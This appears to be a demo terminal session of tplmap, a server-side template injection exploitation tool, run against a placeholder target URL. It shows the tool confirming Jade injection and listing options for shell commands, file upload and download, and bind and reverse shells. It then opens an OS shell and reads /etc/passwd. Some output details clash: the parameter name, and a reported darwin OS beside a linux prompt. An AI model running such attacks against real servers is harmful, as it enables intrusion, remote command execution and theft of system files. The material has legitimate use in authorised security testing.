$ ./tplmap.py -u 'http://www.target.com/app?id=*' 
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Found placeholder in GET parameter 'inj'
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '#set($c=*)\n${c}\n'
[+] Jade plugin is testing rendering with tag '\n= *\n'
[+] Jade plugin has confirmed injection with tag '\n= *\n'
[+] Tplmap identified the following injection point:

  Engine: Jade
  Injection: \n= *\n
  Context: text
  OS: darwin
  Technique: render
  Capabilities:
  
   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes

[+] Rerun tplmap providing one of the following options:

   --os-shell or --os-cmd to execute shell commands via the injection
   --upload LOCAL REMOTE to upload files to the server
   --download REMOTE LOCAL to download remote files
   --bind-shell PORT to bind a shell on a port and connect to it
   --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT
        
$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.

linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $